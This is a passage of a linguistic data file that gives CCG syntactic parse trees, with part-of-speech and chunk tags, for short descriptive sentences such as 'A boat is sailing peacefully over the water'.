t(period, '.', '.', '.', 'O', 'O'))).
ccg(161,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boat', 'boat', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'sailing', 'sail', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'peacefully', 'peacefully', 'RB', 'I-ADVP', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'over', 'over', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'water', 'water', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(162,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'played', 'play', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(163,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'milk', 'milk', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'drunk', 'drink', 'VBN', 'I-ADJP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'cat', 'cat', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(164,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'cat', 'cat', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'drinking', 'drink', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'milk', 'milk', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(165,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'emptying', 'empty', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'container', 'container', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
ba(s:pss\np,
fa(s:pss\np,
t((s:pss\np)/pp, 'made', 'make', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'plastic', 'plastic', 'NN', 'I-NP', 'O')))),
t((s:pss\np)\(s:pss\np), 'completely', 'completely', 'RB', 'I-ADVP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(166,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'emptying', 'empty', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'container', 'container', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
fa(s:pss\np,
t((s:pss\np)/pp, 'made', 'make', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'plastic', 'plastic', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(167,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'emptying', 'empty', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'container', 'container', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
fa(s:pss\np,
t((s:pss\np)/pp, 'made', 'make', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'plastic', 'plastic', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(168,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'carelessly', 'carelessly', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
t((s:ng\np)/np, 'holding', 'hold', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'frog', 'frog', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(169,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'flute', 'flute', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
ba(s:pss\np,
t(s:pss\np, 'played', 'play', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'lovely', 'lovely', 'JJ', 'I-NP', 'O'),
t(n, 'way', 'way', 'NN', 'I-NP', 'O'))))),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(170,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'flute', 'flute', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'played', 'play', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(171,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'adult', 'adult', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))),
t((s:ng\np)\(s:ng\np), 'loudly', 'loudly', 'RB', 'I-ADVP', 'O')))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(172,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'flute', 'flute', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'played', 'play', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(173,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))),
t((s:ng\np)\(s:ng\np), 'loudly', 'loudly', 'RB', 'I-ADVP', 'O')))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(174,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'flute', 'flute', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'played', 'play', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(175,
rp(s:dcl,
ba(s:dcl,
rp(np,
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:adj\np, 'little', 'little', 'RB', 'I-ADVP', 'O')))),
t(comma, ',', ',', ',', 'O', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:ng\np), 'carefully', 'carefully', 'RB', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'combing', 'comb', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'her', 'her', 'PRP$', 'I-NP', 'O'),
t(n, 'hair', 'hair', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'pony', 'pony', 'NN', 'I-NP', 'O'),
t(n, 'tail', 'tail', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(176,
rp(s:dcl,
ba(s:dcl,
rp(np,
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:adj\np, 'little', 'little', 'RB', 'I-ADVP', 'O')))),
t(comma, ',', ',', ',', 'O', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'combing', 'comb', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'her', 'her', 'PRP$', 'I-NP', 'O'),
t(n, 'hair', 'hair', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'pony', 'pony', 'NN', 'I-NP', 'O'),
t(n, 'tail', 'tail', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(177,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'One', 'one', 'CD', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'sitting', 'sit', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'chair', 'chair', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(178,
rp(s:dcl,
ba(s:dcl,
rp(np,
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:adj\np, 'little', 'little', 'RB', 'I-ADVP', 'O')))),
t(comma, ',', ',', ',', 'O', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'ruffling', 'ruffle', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'her', 'her', 'PRP$', 'I-NP', 'O'),
t(n, 'hair', 'hair', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(179,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'microphone', 'microphone', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'front', 'front', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'talking', 'talk', 'VBG', 'I-NP', 'O'),
t(n, 'parrot', 'parrot', 'NN', 'I-NP', 'O'))))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
t(s:pss\np, 'muted', 'mute', 'VBN', 'I-VP', 'O')))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(180,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'parrot', 'parrot', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'talking', 'talk', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'microphone', 'microphone', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(181,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'kittens', 'kitten', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'trays', 'tray', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
fa(s:pss\np,
t((s:pss\np)/pp, 'eaten', 'eat', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'as', 'as', 'IN', 'I-PP', 'O'),
ba(np,
lx(np, n,
t(n, 'food', 'food', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'for', 'for', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'advertisement', 'advertisement', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(182,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'food', 'food', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'trays', 'tray', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'eaten', 'eat', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'kittens', 'kitten', 'NNS', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(183,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'food', 'food', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'trays', 'tray', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'eaten', 'eat', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'kittens', 'kitten', 'NNS', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(184,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'few', 'few', 'JJ', 'I-NP', 'O'),
t(n, 'kittens', 'kitten', 'NNS', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:ng\np, 'eating', 'eat', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(185,
rp(s:dcl,
ba(s:dcl,
lx(np, n,
fa(n,
t(n/n, 'One', 'one', 'CD', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
ba(n,
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n, 'singing', 'singing', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(186,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
ba(n,
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n, 'singing', 'singing', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(187,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'horse', 'horse', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'ridden', 'ride', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(188,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'horse', 'horse', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(189,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'dangerously', 'dangerously', 'RB', 'I-VP', 'O')),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'throwing', 'throw', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'knives', 'knife', 'NNS', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tree', 'tree', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(190,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'Some', 'some', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'dangerous', 'dangerous', 'JJ', 'I-NP', 'O'),
t(n, 'men', 'man', 'NNS', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'knives', 'knife', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'throwing', 'throw', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bike', 'bike', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'against', 'against', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tree', 'tree', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(191,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'lady', 'lady', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'up', 'up', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'meat', 'meat', 'NN', 'I-NP', 'O'))),
t((s:ng\np)\(s:ng\np), 'precisely', 'precisely', 'RB', 'I-ADVP', 'O')))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(192,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'Some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'meat', 'meat', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
fa(s:pss\np,
